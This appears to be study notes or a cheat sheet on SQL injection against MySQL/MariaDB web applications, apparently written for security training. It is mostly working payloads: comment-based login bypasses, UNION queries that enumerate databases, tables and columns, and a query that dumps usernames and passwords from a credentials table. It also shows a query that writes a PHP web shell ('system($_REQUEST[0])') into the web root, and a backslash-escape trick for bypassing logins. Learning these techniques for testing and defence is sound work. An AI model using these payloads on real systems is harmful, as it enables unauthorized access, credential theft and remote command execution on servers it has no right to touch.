We can use two types of line comments with MySQL -- and #, in addition to an in-line comment /**/
Auth Bypass with comments
admin'--
SELECT*FROM logins WHERE username='admin'-- ' AND password = 'something';
Put spaces after --
admin')--
SELECT*FROM logins where (username='admin')
user' or id=5 ) -- test
SELECT * FROM logins WHERE (username='user' or id=5 ) -- test' AND id > 1) AND password = '******'
Union
MariaDB [employees]> select * from employees limit 5;
+--------+------------+------------+-------------+--------+------------+
| emp_no | birth_date | first_name | last_name | gender | hire_date |
+--------+------------+------------+-------------+--------+------------+
| 10001 | 1953-09-02 | Georgi | Facello | M | 1986-06-26 |
| 10002 | 1952-12-03 | Vivian | Billawala | F | 1986-12-11 |
| 10003 | 1959-06-16 | Temple | Lukaszewicz | M | 1992-07-04 |
| 10004 | 1956-11-06 | Masanao | Rahimi | M | 1986-12-16 |
| 10005 | 1962-12-11 | Sanjay | Danlos | M | 1985-08-01 |
+--------+------------+------------+-------------+--------+------------+
5 rows in set (0.038 sec)
MariaDB [employees]> select * from departments limit 5;
+---------+------------------+
| dept_no | dept_name |
+---------+------------------+
| d009 | Customer Service |
| d005 | Development |
| d002 | Finance |
| d003 | Human Resources |
| d001 | Marketing |
+---------+------------------+
5 rows in set (0.022 sec)
MariaDB [employees]> select dept_no from departments union select emp_no from employees;
Detect number of columns
Using ORDER BY
' order by 1-- -
' order by 2-- -
Until we reach a number that returns an error
This means that this table has exactly 4 columns .
cn' UNION select 1,2,3,4-- -
While a query may return multiple columns, the web application may only display some of them. So, if we inject our query in a column that is not printed on the page, we will not get its output. This is why we need to determine which columns are printed to the page, to determine where to place our injection.
We cannot place our injection at the beginning, or its output will not be printed.
cn' UNION select 1,@@version,3,4-- -
Database Enumeration
Fingerprinting
Payload
When to Use
Expected Output
Wrong Output
SELECT @@version
When we have full query output
MySQL Version 'i.e. 10.3.22-MariaDB-1ubuntu1'
In MSSQL it returns MSSQL version. Error with other DBMS.
SELECT POW(1,1)
When we only have numeric output
1
Error with other DBMS
SELECT SLEEP(5)
Blind/No Output
Delays page response for 5 seconds and returns 0.
Will not delay response with other DBMS
Database
mysql> SELECT SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA;
+--------------------+
| SCHEMA_NAME |
+--------------------+
| mysql |
| information_schema |
| performance_schema |
| ilfreight |
| dev |
+--------------------+
6 rows in set (0.01 sec)
cn' UNION select 1,schema_name,3,4 from INFORMATION_SCHEMA.SCHEMATA-- -
Find the current database with the SELECT database() query
cn' UNION select 1,database(),2,3-- -
Tables
cn' UNION select 1,TABLE_NAME,TABLE_SCHEMA,4 from INFORMATION_SCHEMA.TABLES where table_schema='dev'-- -
Columns
cn' UNION select 1,COLUMN_NAME,TABLE_NAME,TABLE_SCHEMA from INFORMATION_SCHEMA.COLUMNS where table_name='credentials'-- -
Data
Remember: don't forget to use the dot operator to refer to the 'credentials' in the 'dev' database, as we are running in the 'ilfreight' database, as previously discussed.
cn' UNION select 1, username, password, 4 from dev.credentials-- -
To be able to write files to the back-end server using a MySQL database, we require three things:
User with FILE privilege enabled
MySQL global secure_file_priv variable not enabled
Write access to the location we want to write to on the back-end server
SHOW VARIABLES LIKE'secure_file_priv';
SELECT variable_name, variable_value FROM information_schema.global_variables where variable_name="secure_file_priv"
cn' UNION SELECT 1, variable_name, variable_value, 4 FROM information_schema.global_variables where variable_name="secure_file_priv"-- -
secure_file_priv value is empty, meaning that we can read/write files to any location.
SELECT * from users INTO OUTFILE '/tmp/credentials';
SELECT'this is a test'INTO OUTFILE '/tmp/test.txt';
Tip: Advanced file exports utilize the 'FROM_BASE64("base64_data")' function in order to be able to write long/advanced files, including binary data.
Web Shell
Note: To write a web shell, we must know the base web directory for the web server (i.e. web root). One way to find it is to use load_file to read the server configuration, like Apache's configuration found at /etc/apache2/apache2.conf, Nginx's configuration at /etc/nginx/nginx.conf, or IIS configuration at %WinDir%\System32\Inetsrv\Config\ApplicationHost.config, or we can search online for other possible configuration locations. Furthermore, we may run a fuzzing scan and try to write files to different possible web roots, using this wordlist for Linux or this wordlist for Windows. Finally, if none of the above works, we can use server errors displayed to us and try to find the web directory that way.
cn' union select "",'<?php system($_REQUEST[0]); ?>', "", "" into outfile '/var/www/html/shell.php'-- -
Let’s take a look at an instance where the single quote is blacklisted or escaped from the command.
$username ="' or 1=1 --";$password ="qwerty123456";// . . .$query = "SELECT * FROM users WHERE username='".$username."' AND password='".$password."'";select * from users where username='\' or 1=1 -- ' or password='qwerty123456';
As you see in this example, because the single quote (‘) is escaped with a backslash, the payload does not work as intended by the hacker.
username: \password: or 1 # $query = select * from users where username='".$username."' and password='".$password."'";select * from users where username='\' or password=' or 1 # ';
The backslash neutralizes the following single quote. So the value for the username column will end with the single quote that comes right after password= (the end of the gray text). Doing so will eliminate the required password field from the command. Due to the or 1 command, the condition will always return ‘true’. The # (hash) will ignore the rest of the function, and you’ll be able to bypass the login control and login form.
SELECT file_priv FROM mysql.user WHERE user = 'netspi'
SELECT grantee, is_grantable FROM information_schema.user_privileges WHERE privilege_type = 'file' AND grantee like '%netspi%'
